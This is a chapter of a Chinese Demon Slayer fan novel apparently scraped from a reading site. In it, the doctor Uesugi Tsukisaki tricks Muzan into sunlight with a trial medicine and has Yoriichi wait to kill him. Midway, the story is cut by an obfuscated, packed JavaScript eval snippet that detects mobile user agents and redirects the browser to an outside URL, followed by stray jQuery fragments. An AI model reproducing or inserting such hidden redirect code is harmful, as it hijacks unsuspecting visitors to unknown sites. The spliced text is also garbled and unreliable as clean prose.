123读书网 > 玄幻小说 > [鬼灭]她总是不死 > 20.无惨(七)
    接下来的日子,上杉月咲都泡在了书房和药房里,对早就已经是一具尸体的她而言,卧房不过是个摆设。


    圆月当空,鬼舞辻无惨坐在屋顶上,看着从书房纸窗透出的那一抹暖色,眼神晦暗不明。


    上杉月咲按照他的要求,老老实实开始研究让他不再惧怕阳光的方法了,可他……居然有些不自在。


    见面的问候没有了,做工粗糙的小巧衣物没有了,时不时在他耳边念叨的那两句吃人不好也没有了。


    哼!他才不稀罕!


    鬼舞辻无惨滑下屋脊,朝书房飞去。


    他现在要去监督上杉月咲,免得她背着他偷懒。


    正拿着笔在书上圈圈点点,烛火突然被什么东西遮挡,在面前投下阴影,上杉月咲抬头看向打断她思绪的罪魁祸首,瞧见是鬼舞辻无惨,她又收回了目光,继续在空白的纸上写写画画。


    “你在看什么?”无惨坐在上杉月咲面前,小小一团,只占了个砚台大小的位置,他轻咳一声问道。


    “明天会给少爷试一试药。”上杉月咲头也不抬,“还请少爷喝完之后给我反馈。”


    鬼舞辻无惨眼睛一亮:“你研究出来了?”


    上杉月咲瞥一眼喜形于色的小家伙,毫不客气地泼下冷水:“只是试一试,后面还需要做很多次调整。”


    “还希望少爷可以配合。”想到什么,她又补充,“我会尽量做得不苦。”


    很久以前在产屋敷时,鬼舞辻无惨是出了名的难伺候,尤其是喝药的时候,一被苦到了就会开始疯狂咒骂,从边上的侍从到给他煮药的医生,通通骂到狗血淋头。


    上杉月咲也被骂过。


    很多次。


    也想起了之前是怎么对待上杉月咲的鬼舞辻无惨:“……”


    “我现在已经不怕苦了。”无惨说,“只要能让我不再畏惧阳光,什么苦我都能吃下。”


    上杉月咲敷衍地嗯了一声,全当鬼舞辻无惨在嘴硬。


    无惨:“……”


    他无法辩驳,只能守着上杉月咲,等着她做出自己想要的药剂。


    医生不愧是医生,看起医书来就忘了时间。


    烛火跳动,隐隐有熄灭的征兆,鬼舞辻无惨手一挥,那灯油便又添满了。


    上杉月咲毫无所觉,专心致志地比对两本书中药材使用的些微差异,她眉头轻锁,苍老的面庞在灯火下光影交接,沟壑纵横,更显疲态。


    鬼舞辻无惨忍不住说:“你可以休息会儿。”


    天都快亮了。


    上杉月咲掀起眼皮看了眼他:“没事,差不多了。”


    说着便站起了身。


    鬼舞辻无惨亦步亦趋地跟着,瞧着她抓药,煎制,时不时往里放一些药物。


    捧着医书忙碌的老人看起来倒的确有些仙风道骨的高人味道,无惨看着逐渐烟雾缭绕的药壶,忍不住期待起来。


    把最后一味药材丢进去,上杉月咲拍了拍手:“我要去休息会儿,你守着吧,一个时辰后再叫我,不要提前喝。”


    上杉月咲伸着懒腰回房间了,她腰酸背痛的,只想躺下休息会儿。


    对于无惨的反复无常她早已习惯,也不想去细究他的关怀和依赖是出于对她本人,还是因为她可以做出他想要的东西。


    用人的思想去揣测鬼,是大忌。


    无惨眼巴巴盯着药壶,外头太阳越来越大也没有管,反正在室内,他想。


    接连好几天,上杉月咲都昼伏夜出,熬上药后就丢给了无惨,只管回去蒙头睡觉。


    高强度的脑部工作让上杉月咲空前的冷漠,而鬼舞辻无惨并没有发现这些,他只挂念着自己的药。


    无惨连喝了几天的药,他能感受到自己身体的变化,明明没有吃人肉,但他现在甚至已经可以轻松恢复原来的大人模样了,只是他仍只在喝药时变幻,平常还是保持着巴掌大小。


    第七天。


    无惨照例喝下了药。


    此时已是上午,太阳透过窗棂照了进来,暖洋洋的日光混着药味,令无惨觉得安心。


    他小心翼翼地伸出了一根手指头,慢慢靠近那束阳光。


    没有感受到疼痛,反而是久违的温热从指尖传递至全身,鬼舞辻无惨有些激动地将整个手掌暴露在太阳下。


    没有!


    没有任何不适!


    鬼舞辻无惨迫不及待地推开了门,他要去告诉上杉医生这个好消息!


    药房通往卧房的路上,毫无遮蔽,满是金灿灿的阳光,原来放在两侧用来晾晒药材的支架不知道什么时候被撤了,更加一览无余。


    全身沐浴在阳光里,鬼舞辻无惨控制不住脸上的笑容,血红色的眸子如同孩童般闪闪发亮,脚下生风,衣摆像那蹁跹的蝴蝶。


    “上杉……”马上就要走到卧房门口了,那一声上杉医生却只开了个头便戛然而止。


    鬼舞辻无惨迷茫着倒下了。


    他的身体突然不听使唤,直挺挺地往下落。


    “上杉……”他趴在地上,费力地睁着眼,小声呼唤着。


    在闭上眼之前,他似乎看见了一个熟悉的身影朝他走来。


    ——


    鬼舞辻无惨脑子里乱哄哄的,像有一千只蜜蜂在乱叫。


    他痛苦地睁开眼,一眼便瞥见了那令他魂不附体的太阳耳坠。


    是缘一。


    “啊——”受到惊吓的无惨下意识地想要逃离,却发现血鬼术使不出来,他当机立断转身逃跑,可还没跑出两步,却狠狠摔倒在地。


    他浑身无力得像个久卧病榻的患者,连呼吸都有些吃力,只能无助地看着继国缘一朝自己靠近。


    可怕的男人盘腿坐在地上,一段时日未见,对方身上令人胆颤心惊的气势似乎又变强了,鬼舞辻无惨只能闭上眼,不忍心直面即将到来的痛苦。


    预想中的疼痛却没有如期而至,无惨怔愣地睁眼,发现继国缘一仍然坐在原地,并未理会他的惊呼,甚至闭上了双眼,对他视而不见。


    鬼舞辻无惨悄悄地起身,环视四周,他这是又回到了药房,这里被缘一清理出了一块空地,他特意坐在离门近的位置,而无惨则被困在


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16123740|179047||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    另一头,进退不得。


    看了眼还闭着眼的男人,无惨摸不清他的目的,只能偷偷往门口靠,就在快要踏出药房时,日轮刀呼啸着破空而来,狠狠刺入他面前的地板,刀身嗡嗡,像是警告,吓得无惨跌坐在地。


    缘一收回手,站起身,他居高临下看着无惨,仿佛他是什么恶心的蝼蚁:“回去。”


    无惨照做了。


    他老老实实地待在原地,再也不敢有别的动作。


    缘一也不说话,只是掏出帕子静静擦拭刀身,像一个尽职尽责的守卫。


    外头太阳西斜,很快便沉了下去。


    脚步声响起在屋外,鬼舞辻无惨瞬间坐起,他听到了,是上杉医生起来了!


    从未像此刻这般盼望过见到上杉月咲,鬼舞辻无惨睁大着眼,巴巴地看着那扇门。


    熟悉的身影出现,上杉月咲打着哈欠,脸上是刚睡醒的朦胧。


    “上杉——”鬼舞辻无惨叫道,还没来得及说什么,他便如同被掐住脖子的待宰的鹅,没了声响。


    “醒了?”缘一看向上杉,语气熟稔。


    “嗯。”上杉月咲拍了拍继国缘一的肩膀,“辛苦了。”


    他们……是串通好的!鬼舞辻无惨不可置信地瞪着上杉月咲。


    上杉月咲蹲下身,看着此刻尽显狼狈的无惨,觉得好笑:“少爷,为什么露出这种被背叛的表情呢?”


    明明他们从一开始就不在一个阵营,哪来的背叛。


    已经明白过来的无惨咬紧了牙,发出咯咯的声响:“你想做什么?”


    上杉月咲看着眼前身形比自己高大许多,却因为缘一而缩手缩脚尽显窘迫的男子:“能做什么呢?又不能吃了你。”


    鬼舞辻无惨似乎是受到了极大的刺激:“为什么他会在这里!为什么我的血鬼术失效了!为什么!”


    他瞪着上杉月咲,执拗地讨要一个说法:“你不是说过,会治好我的吗?”


    为什么他刚能看见阳光了,却要把他推进名为继国缘一的黑暗。


    上杉月咲从善如流地解答:“缘一一直在和我保持书信,我让他过来的。至于你的血鬼术失效,是因为今天晒太阳晒多了,待会过一阵就恢复了。”


    “会恢复的吗?”鬼舞辻无惨问,表情可怜地像个小孩。


    上杉好脾气地哄他:“对的少爷,会恢复的。”


    泪水糊了满脸,无惨可怜兮兮地抱着上杉月咲的大腿,听见她的保证后才算是松了口气。


    继国缘一一直在边上看着,无惨有些恼,他像个有了家长撑腰的小孩,手一指,声音尖厉:“你让他出去!出去!”


    “不可以喔。”


    无惨没有得到想要的答复,他声音更大了:“为什么!你快让他出去!”


    上杉月咲有些头痛地看着这个不配合的患者,她伸手掰开了无惨抱着她的手,掏出一张手帕细细地擦干净对方的脸。


    鬼舞辻无惨打着哭嗝,依赖地靠在上杉身上,却听见对方这样说——


    “不可以呀,因为他是我叫来帮忙杀你的。”